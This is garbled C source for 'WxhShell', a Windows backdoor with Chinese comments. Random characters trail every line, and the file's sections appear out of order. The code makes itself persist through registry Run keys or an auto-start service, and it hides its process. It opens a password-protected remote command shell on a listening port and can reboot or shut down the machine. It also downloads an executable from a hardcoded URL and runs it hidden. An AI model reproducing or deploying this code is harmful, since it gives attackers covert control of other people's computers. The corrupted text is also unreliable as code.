ULONG InheritedFromUniqueProcessId; BeplS
} PROCESS_BASIC_INFORMATION; 1L^\TC
+n%WmRf6!
PROCNTQSIP NtQueryInformationProcess; N!btj,vx
&;C|=8eB
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WRD^S:`BH
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;1F3.ibE
Ba@UX(t
HANDLE hProcess; k deJB-
PROCESS_BASIC_INFORMATION pbi; b%pLjvU
u6|7P<HUfb
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HgG"9WBe%
if(NULL == hInst ) return 0; 4J_18.JHP
h`jtmhoz
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,wnF]K2D0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i\,#Z!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <;_X=s`f,
kbOo;<X9A
if (!NtQueryInformationProcess) return 0; VE{t]>*-u
\t )Zk2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c)lMi}/
if(!hProcess) return 0; CJ%7M`zy
Tw|=;m
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KS%xo6k.
Is%-r.i
CloseHandle(hProcess); !_zmm$bR
{AQ3y,sh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1uS
_]59=
if(hProcess==NULL) return 0; Q2iu}~
Rrk3EL
HMODULE hMod; uv._N6mj
char procName[255]; ][#]4_
unsigned long cbNeeded; dZ;csc@xv
5a4;d+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G$`/86A )
4.R
>mN[
CloseHandle(hProcess); &~uzu{
N<O^%!bu R
if(strstr(procName,"services")) return 1; // 以服务启动 *Q5/d9B8TN
].`i`.T
return 0; // 注册表启动 N"FQMxqm
} &K|CH?
D
Qs</.PO
// 主模块 opdi5e)jK
int StartWxhshell(LPSTR lpCmdLine) V"\t
{ IDwneFO
SOCKET wsl; QiB:K Pz[
BOOL val=TRUE; Z\`uI+`
int port=0; 6(X(f;MEl
struct sockaddr_in door; %'@&j2j>
e|xRK?aVBu
if(wscfg.ws_autoins) Install(); Q<Utwk?nL
5f}wQ
port=atoi(lpCmdLine); !=eui$]
;-U:t4
if(port<=0) port=wscfg.ws_port; c1!h;(&
FRX'"gIR0
WSADATA data; x!gu&AA<*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _f2(vWCW;J
Smg,1,=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; q=g;TAXZl
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !J'BAq[x
door.sin_family = AF_INET; XG_lyx%:E
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6uR:/PTG
door.sin_port = htons(port); c00a;=ji
w_4`Wsn
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?v `0KF
closesocket(wsl); ob-z-iDz
return 1; lYD-U8
} LB U]^t@ M
dsrzXmE0
if(listen(wsl,2) == INVALID_SOCKET) { BTGPP@p4
closesocket(wsl); M0 =K#/
return 1; _ jF,
k>F
} YDdmT7Ow
Wxhshell(wsl); m[(2
WSACleanup(); [7Q |vu
s$| GVv1B
return 0; F0]NtKaH
Y|>y]x
} ~B1)!5Z
(4x`/
// 以NT服务方式启动 sDw&U?gUv
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1kvBQ1+
{ \_CC6J0k
DWORD status = 0; [y64%|m
DWORD specificError = 0xfffffff; d#Ql>PrY
l>H#\MR
serviceStatus.dwServiceType = SERVICE_WIN32; bp;b;f>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; eBBqF!WDb
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mp>,TOi~s7
serviceStatus.dwWin32ExitCode = 0; qAHQZKk
serviceStatus.dwServiceSpecificExitCode = 0; 3|l+&LF!IC
serviceStatus.dwCheckPoint = 0; T"XZ[q
serviceStatus.dwWaitHint = 0; -7$7TD`'7
DMsxHAE1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7_ZfV? .
if (hServiceStatusHandle==0) return; b-yfBO
wHAoO#`wn5
status = GetLastError(); kk
)9!7
if (status!=NO_ERROR) ~bg?V0
{ M7BJ$fA0E
serviceStatus.dwCurrentState = SERVICE_STOPPED; Nz\=M|@(#
serviceStatus.dwCheckPoint = 0; gb(a`
serviceStatus.dwWaitHint = 0; 9}:%CpD^~I
serviceStatus.dwWin32ExitCode = status; ggXg4~WL
serviceStatus.dwServiceSpecificExitCode = specificError; z3[
J>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |ILj}4ZA7
return; $wub)^
} yiWBIJ2Wu9
r`HtN{6r
serviceStatus.dwCurrentState = SERVICE_RUNNING; ezgP\ct
serviceStatus.dwCheckPoint = 0; {D 9m//x
serviceStatus.dwWaitHint = 0; G;>b}\Ng
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &r;-=ASYzV
} _.KKh62CN
V80g+)|
// 处理NT服务事件,比如:启动、停止 *[9FPya
VOID WINAPI NTServiceHandler(DWORD fdwControl) IlN9IF\9L
{ 9l+'V0?`
switch(fdwControl) -}AAA*P
{ PB(mUD2"r
case SERVICE_CONTROL_STOP: &k+jVymH
serviceStatus.dwWin32ExitCode = 0; BRi\&&<4
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0 P3^#j
serviceStatus.dwCheckPoint = 0; 6X$]d^)h{
serviceStatus.dwWaitHint = 0; Oc}4`?oy<O
{ h2QoBGL5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @6~r7/WD
} +Vl\lL
-
return; `07xW*K(\Y
case SERVICE_CONTROL_PAUSE: h;u8{t"
serviceStatus.dwCurrentState = SERVICE_PAUSED; |$f.Qs~?
break; 9o@5:.b<j
case SERVICE_CONTROL_CONTINUE: >ZTRwy`_(
serviceStatus.dwCurrentState = SERVICE_RUNNING; XJ^dX]4
break; D
C{l.a.
case SERVICE_CONTROL_INTERROGATE: b MZ-{<+i
break; ]4^9Tw6
_b
}; wrSw> sE"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S8(Y+jgk;a
} g\[?U9qN
ABuK`(f.
// 标准应用程序主函数 R7+3$F5B
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2? 9*V19yu
{ 7_xQa$U[
:D|"hJ
// 获取操作系统版本 ^`XQ>-wWue
OsIsNt=GetOsVer(); 3x@t7B
GetModuleFileName(NULL,ExeFile,MAX_PATH); omisfu_~E
qb'4x){
// 从命令行安装 h mC.5mY
if(strpbrk(lpCmdLine,"iI")) Install(); C2OBgM+
KzZ|{!C
// 下载执行文件 HC_+7 O3A
if(wscfg.ws_downexe) { "#Qqwsw7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ro\ U T64
WinExec(wscfg.ws_filenam,SW_HIDE); Lq:
!?)I
} O10,h(O
#fk#RNt
if(!OsIsNt) { j?<>y/IR
// 如果时win9x,隐藏进程并且设置为注册表启动 uQk}
HideProc(); 1U[Q)(P
StartWxhshell(lpCmdLine); <H03i"Z/S
} }#]2u|G
else Ac{"$P`
if(StartFromService()) jrJ!A(<)
// 以服务方式启动 u*u3<YQ
StartServiceCtrlDispatcher(DispatchTable); 6AD#x7drj
else X`
r~cc
// 普通方式启动 P_6JweN
StartWxhshell(lpCmdLine); fhp\of/@
R
1-JdQs6
return 0; Q"rQVO
} hA 1_zKZ
!6.}{6b
m3[R
;7=pNK
=========================================== Y<0}z>^
onqfmQ,3E
}^3CG9%
X0G6Wp
>8%<ML
CCx_|>
" '9@} =pE
Fq>tl 64A
#include <stdio.h> $o}Ao@WkO
#include <string.h> <Cv6wC=
#include <windows.h> K X0{dizZ
#include <winsock2.h> nD#QC=}
#include <winsvc.h> W5a7HkM
#include <urlmon.h> 3'3E:}o|
55LW[Pc
#pragma comment (lib, "Ws2_32.lib") +8p4\l$<`
#pragma comment (lib, "urlmon.lib") pSMF1Oy
FLf< gz
#define MAX_USER 100 // 最大客户端连接数 A<$~Q;r2a
#define BUF_SOCK 200 // sock buffer
&=ZVU\o:
#define KEY_BUFF 255 // 输入 buffer dZMf5=tb
`hpX 97v
#define REBOOT 0 // 重启 :xwyE(w
#define SHUTDOWN 1 // 关机 'LC-/_g
0o-.m
#define DEF_PORT 5000 // 监听端口 u_31Db<
K9G1>*
#define REG_LEN 16 // 注册表键长度 _`|te|ccF
#define SVC_LEN 80 // NT服务名长度 9Kl:3C
ZRCm'p3
// 从dll定义API )(CZK&<
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m+m2<|%x
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t_ju[xL5B
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kn5X:@{
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R V@'$`Q
,76xa%k(U|
// wxhshell配置信息 - 2DvKW$
struct WSCFG { +wPXDN#R
int ws_port; // 监听端口 Ij w{g%
char ws_passstr[REG_LEN]; // 口令 @*>kOZ(3
int ws_autoins; // 安装标记, 1=yes 0=no }X|*+<
char ws_regname[REG_LEN]; // 注册表键名 t,P_&0X
char ws_svcname[REG_LEN]; // 服务名 mc
FSWmq
char ws_svcdisp[SVC_LEN]; // 服务显示名 p<[gzmU9\b
char ws_svcdesc[SVC_LEN]; // 服务描述信息 E^K<b7
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \mo NpKf
int ws_downexe; // 下载执行标记, 1=yes 0=no IJ[r!&PY
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2wX4e0cOI4
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F x4s)(
O-uno{Fd*
}; (g HCu
^osXM`
// default Wxhshell configuration $:l>g)c
struct WSCFG wscfg={DEF_PORT, A.YXK%A%
"xuhuanlingzhe", E&z`BPd
1, Vf*Z }'
"Wxhshell", or<n[<D-C
"Wxhshell", iY[+BI:
"WxhShell Service", 3bU(ea^e$
"Wrsky Windows CmdShell Service", Bz+zEXBC
"Please Input Your Password: ", R"2wop
1, %$Smei
"http://www.wrsky.com/wxhshell.exe", ovXU +8
"Wxhshell.exe" ; <NK
}; '((pW
{3LAK[C
// 消息定义模块 [C-4*qOaa2
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /XVjcD66c
char *msg_ws_prompt="\n\r? for help\n\r#>"; L^E#"f
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QKB*N)%6
char *msg_ws_ext="\n\rExit."; cfZ$V^xM
char *msg_ws_end="\n\rQuit."; m8ApiGG
char *msg_ws_boot="\n\rReboot..."; *DUP$@}k
char *msg_ws_poff="\n\rShutdown..."; =:"wU
char *msg_ws_down="\n\rSave to "; gVscdg5
je#OV,uHM
char *msg_ws_err="\n\rErr!"; !E@4^A80\W
char *msg_ws_ok="\n\rOK!"; UURYK~$K:
`qs[a}%'>"
char ExeFile[MAX_PATH]; oE.59dx
int nUser = 0; a #`Y(R'
HANDLE handles[MAX_USER]; G2y`yg
int OsIsNt; ?h|&kRq
7TU(~]Z
SERVICE_STATUS serviceStatus; S*3*Q l*
SERVICE_STATUS_HANDLE hServiceStatusHandle; &l8eljg
}nx5
// 函数声明 1Qk]?R/DN
int Install(void); ,L&d\M"f
int Uninstall(void); $o%:ST4
int DownloadFile(char *sURL, SOCKET wsh); %
|^V)
int Boot(int flag); pf8M0,AY
void HideProc(void); (ebC80M
int GetOsVer(void); `EdZ
int Wxhshell(SOCKET wsl); eHl)/='
void TalkWithClient(void *cs); U_KCN09
int CmdShell(SOCKET sock); p}e1!q;N
int StartFromService(void); J`[v u4
int StartWxhshell(LPSTR lpCmdLine); 2L(\-]%f
e0:[,aF`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %o
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <p5?yF
4K(oOxc9.
// 数据结构和表定义 UbDpSfub
SERVICE_TABLE_ENTRY DispatchTable[] = MUW&m2
{ /UG]hJ-wn
{wscfg.ws_svcname, NTServiceMain}, 6* 6 |R93
{NULL, NULL} %M5{-pJ|C
}; kxH`
c
ia#8 ^z
// 自我安装 XVfw0-O
int Install(void) l.Q.G<ol
{ 8= "01
char svExeFile[MAX_PATH]; ^JMO POm
HKEY key; 7R7e3p,K
strcpy(svExeFile,ExeFile); 6>NK2} `
){I!orQ
// 如果是win9x系统,修改注册表设为自启动 "$#<+H>O
if(!OsIsNt) { A4{p(MS5
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 91\Sb:>
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oJ.5! Kg
RegCloseKey(key); +mRc8 G
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wl0p-h
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mJ>msI
@
RegCloseKey(key); /T<))@$
return 0; hA=}R.gi
} J3QL%#
} i4}+n^oSYo
} 2|A?9aE%0
else { k?;@5r) y-
M(U<H;Csk
// 如果是NT以上系统,安装为系统服务 4DgH/Yo
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]%2y`Jrl^W
if (schSCManager!=0) 6]|-%
{ z'&tmje[?
SC_HANDLE schService = CreateService U1;&G
( z7_h$v
schSCManager, \C<'2KZR,
wscfg.ws_svcname, {|B
2$1':
wscfg.ws_svcdisp, S|
|OSxZ
SERVICE_ALL_ACCESS, $d*PY_
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HChlkj'7w0
SERVICE_AUTO_START, d6e$'w@(\T
SERVICE_ERROR_NORMAL, M2Jb<y]
svExeFile, hem>@Bp'V
NULL, n{I1ZlEeh
NULL, ,L=lg,lH^
NULL, Yb\d(k$h
NULL, :/R>0 n,
NULL t{-*@8Ke
); : G'a"%x
if (schService!=0) LeV";=_n
{ 7/zaf
CloseServiceHandle(schService); @TJ2
|_s6]
CloseServiceHandle(schSCManager); 8?N![D\@
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); * hmoi
strcat(svExeFile,wscfg.ws_svcname); *]:J@KGf
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;(@' +"
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); az[# q
RegCloseKey(key); oU|_(p"e|
return 0; c'DNO~H
} Vg(FF"
} 9qkJ<
CloseServiceHandle(schSCManager); g(C/J9J
} K5HzA1^
} H`s[=Y,m
WP{U9YF2
return 1; 9aBz%* xo
} w>e+UW25Y
NG8F'=<
// 自我卸载 L{0\M`B-
int Uninstall(void) {>Hn:jW<.
{ mwutv8?
HKEY key; =I0J1Ob
f#McTC3C
if(!OsIsNt) { wb>"'%
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qr (t_qR&
RegDeleteValue(key,wscfg.ws_regname); yqC158 P
RegCloseKey(key); @JPz|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sI6I5
RegDeleteValue(key,wscfg.ws_regname); 7+;.Q
RegCloseKey(key); M8R/a[ -A
return 0; seVT|z
} 2UG>(R:
} d;nk>6<|
} RI<&cgWn+<
else { :F_>`{
'~VF*i^4
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rZ&li/Z
if (schSCManager!=0) WRrg5&._q
{ hC4
M}(XM
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `>GXJ~:D["
if (schService!=0) JS/~6'uB
{ Aho-\9/x%
if(DeleteService(schService)!=0) { w"O{@2B3:H
CloseServiceHandle(schService); p=V1M-
CloseServiceHandle(schSCManager); 1vYa&!
return 0; N cp
} T$sm}=
CloseServiceHandle(schService); biZ=TI2P,L
} p|em_!H"SH
CloseServiceHandle(schSCManager); XQ2YUe]DJ
} l.(|&